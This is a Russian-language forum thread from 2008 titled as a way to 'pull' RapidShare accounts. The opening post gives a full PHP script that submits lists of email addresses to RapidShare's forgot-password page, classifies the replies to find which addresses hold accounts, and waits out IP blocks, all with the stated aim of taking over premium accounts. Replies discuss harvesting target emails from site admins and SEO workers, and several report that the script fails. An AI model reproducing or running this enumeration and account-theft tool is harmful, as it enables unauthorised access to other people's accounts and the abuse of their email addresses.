Дергаем акки рапидшары

Тема в разделе "Мелочи", создана пользователем Kai, 7 фев 2008.

Статус темы:
Закрыта.
  1. Kai

    Kai

    Регистр.:
    29 июн 2007
    Сообщения:
    329
    Симпатии:
    46
    Скрипт, автор не я, я его подправлял до рабочего состояния)

    Суть, вставляем мыльники возможных владельцев премиум акков, прогоняем, получаем акк)

    [RESPECT=5]
    Код:
    <?php  
    set_time_limit (0); 
    ini_set('max_execution_time',0); 
    
        session_start();  
    
        $browserData = array();  
        $browserData[CURLOPT_USERAGENT]      = "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9";  
        $browserData[CURLOPT_FOLLOWLOCATION] = true;  
        $browserData[CURLOPT_COOKIESESSION]  = true;  
        $browserData[CURLOPT_COOKIEFILE]     = "cookie";  
        $browserData[CURLOPT_COOKIEJAR]      = "cookie";  
    
        function curlInit($link,&$browserData,$ssh = false)  
        {  
            $ch = curl_init($link);  
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, !$ssh);  
            curl_setopt_array ($ch,$browserData);  
    
            return $ch;  
        }  
        function array2postFields($data)  
        {  
            $data = (array) $data;  
    
            $postData = "";  
            foreach($data as $name => $value)  
                $postData .= $name . "=" . $value . "&";  
            $postData = substr($postData,0,-1);  
    
            return $postData;  
        }  
    
        class rapidshare  
        {  
            function __construct(&$browserData)  
            {  
                $this->browserData = &$browserData;  
                $this->link = "http://rapidshare.com/cgi-bin/forgotpw.cgi";  
            }  
    
            function requestpassword($username)  
            {  
                $ch = curlInit($this->link,$this->browserData,false);  
    
                $data = array("email"=>$username);  
    
                curl_setopt($ch, CURLOPT_POST, true);  
                curl_setopt($ch, CURLOPT_POSTFIELDS,array2postFields($data));  
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
                $responseText = curl_exec($ch);  
                curl_close($ch);  
    
    
                return $responseText;  
    
    
            }  
    
            function translateResponse($responseText)  
            {  
                $responseRegexs = array(  
                                            "noaccounts" => "No accounts found. Please try again",  
                                            "valid"      => "accounts and sent the data to your e-mail address",  
                                            "invalid"    => "E-Mail address invalid!",  
                                            "ipblocked"  => "Too many password requests from your IP-Address! Please try again in one hour"  
                                        );  
                foreach($responseRegexs as $name => $value)  
                    if (preg_match('%' . $value . '%', $responseText))  
                        return $name;  
                return false;  
            }  
            function testUser(&$user)  
            {  
                $responseText = $this->requestpassword($user["username"]);  
    
                $response = $this->translateResponse($responseText);  
    
                if($response == "ipblocked" || !$response)  
                {  
                    echo "<div style='margin-bottom:2%;'>IP BLOCKED. Next try in <span id='clock'></span> seconds. Leave the window opened for autorefresh, or change your ip</div>";  
                    $waitingTime = 3610;  
     echo "<script>  
            waitingTime = $waitingTime;  
            function showClock()  
            {  
                clockHolder = document.getElementById('clock');  
                clockHolder.innerHTML = waitingTime--;  
            }  
            showClock();  
            window.setInterval(showClock,1000);  
    
            </script>";  
    
                    echo "<META HTTP-EQUIV='Refresh' CONTENT='{$waitingTime};URL='>";  
                    return false;  
                }  
                else  
                {  
                    $user["response"] = $response;  
                    return true;  
                }  
    
            }  
        }  
    ?>  
    
    <body style="background-color:black;color:white">  
    <?php  
    
        if(isset($_GET["reset"]))  
            $_SESSION = array();  
    
        $users   = &$_SESSION["users"];  
        $info    = &$_SESSION["info"];  
    
        if(!isset($users))  
        {  
            if(!empty($_POST["users"]))  
            {  
                    function validUsername(&$username)  
                    {  
                        $username = strtolower($username);  
                        return preg_match('/\A[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\Z/',$username);  
                    }  
                    $users = array();  
                    $lines = explode("\n",$_POST["users"]);  
                    foreach($lines as $line)  
                    {  
                        if (get_magic_quotes_gpc())  
                            $line = stripslashes($line);  
    
                        $username = trim($line);  
    
                        if(validUsername($username))  
                        {  
                            $users[] = array(  
                                                "username" => $username,  
                                                "response" => false  
                                             );  
                        }  
                    }  
    
                    $info["nUsers"]      = count($users);  
                    $info["currentUser"] = 0;  
    
                    if(!$info["nUsers"])  
                    {  
                        $_POST = array();  
                        $_SESSION = array();  
                    }  
            }  
    
            if(empty($_POST["users"]))  
            {  
                ?>  
                <div>Give me some list of emails</div>  
                <div>You can freely refresh the window</div>  
                <form action="?" method="POST">  
                <textarea cols="50" rows="25" name="users" onclick="this.innerHTML='',this.onclick=''">mafia@xeka.ru  
    billy@microsoft.com</textarea><br>  
                <input type="submit" value="submit">  
                </form>  
                <?php  
            }  
        }  
    
        if(isset($users))  
        {  
            $rapidshare = new rapidshare($browserData);  
    
            $exec = $_GET["exec"];  
    
            if(isset($exec))  
            {  
                for($n = $info["currentUser"] ; $n < $info["nUsers"]; $n++)  
                {  
                    if ($rapidshare->testUser($users[$n]))  
                        $info["currentUser"]++;  
                    else  
                    {  
                        break;  
                    }  
                }  
            }  
    
            echo "Tested: " . $info["currentUser"] . " users<br><br>";  
    
            for($n = 0 ; $n < $info["currentUser"]; $n++)  
            {  
                $user = $users[$n];  
                printf("Username: %s - ",$user["username"]);  
    
                switch($user["response"])  
                {  
                    case "invalid":  
                    {  
                        echo "doesn't work. invalid";  
                        break;  
                    }  
                    case "noaccounts":  
                    {  
                        echo "doesn't work";  
                        break;  
                    }  
                    case "valid":  
                    {  
                        echo "<b>just WORKS!</b>";  
                        break;  
                    }  
                    default:  
                    {  
                        echo ".unable to test. Contact the author";  
                    }  
                }  
                echo "<br>";  
            }  
            echo "<div><a href='?exec'>EXEC</a></div>";  
    
        }  
    
    
    
    
    ?>  
    <div><a href="?reset">RESET</a></div>  
    </body>
    [/RESPECT]

     
    snuker, bow и davidoff нравится это.
  2. ewg777

    ewg777

    Регистр.:
    6 авг 2007
    Сообщения:
    763
    Симпатии:
    321
    У кого-нибудь работает? У меня нет!
     
  3. zhekaxak

    zhekaxak Нарушитель

    Регистр.:
    16 авг 2007
    Сообщения:
    286
    Симпатии:
    67
    а как узнать мыла возможных владельцов?) есть где нибудь список?)
     
  4. Kai

    Kai

    Регистр.:
    29 июн 2007
    Сообщения:
    329
    Симпатии:
    46
    zhekaxak, аха, в паблике валяется, что бы всему миру нести халяву. Подумайте головой. У кого есть акки? Правильно, у админов, сеошников и т.д. Ну вот и дергайте их мыла (буржуйских естественно)
     
  5. ZVEROBOY

    ZVEROBOY Постоялец

    Регистр.:
    27 авг 2007
    Сообщения:
    75
    Симпатии:
    26
    Наверное по такому же принципу и от порно сайтов пассворды подбирают. Вот чего я не могу понять откуда там базу e-mail'ов берут.:nezn:
     
  6. de_vicont

    de_vicont Создатель

    Регистр.:
    27 янв 2008
    Сообщения:
    29
    Симпатии:
    10
    у меня тоже не работает...а идея да - хороша для сборки email-ов.
     
  7. deling2

    deling2

    Регистр.:
    27 янв 2008
    Сообщения:
    326
    Симпатии:
    198
    не работает, пробовал со своим мылом (купил сам премиум акк), так что пришлось купить, 3 бакса за 2 недельки не так уж и дорого ;)
     
  8. spymc

    spymc Читатель

    Заблокирован
    Регистр.:
    10 мар 2008
    Сообщения:
    47
    Симпатии:
    3
    Не роботает, он не должен роботать! 1) Скрипт плохо сформулирован 2) Так угоняли акки год-полтора назад, щяс рапида кантору прикрыла :tcl:
     
  9. ctac911

    ctac911 Постоялец

    Регистр.:
    19 июл 2006
    Сообщения:
    145
    Симпатии:
    13
    если чел запостил скрипт, значит он у него работал?
    автор, проясни ситуацию!
     
  10. ravist

    ravist

    Регистр.:
    24 июл 2007
    Сообщения:
    202
    Симпатии:
    97
    Тоже попробовал - не работает. ИМХО старый скрипт, рапида уже прохавала.
     
Статус темы:
Закрыта.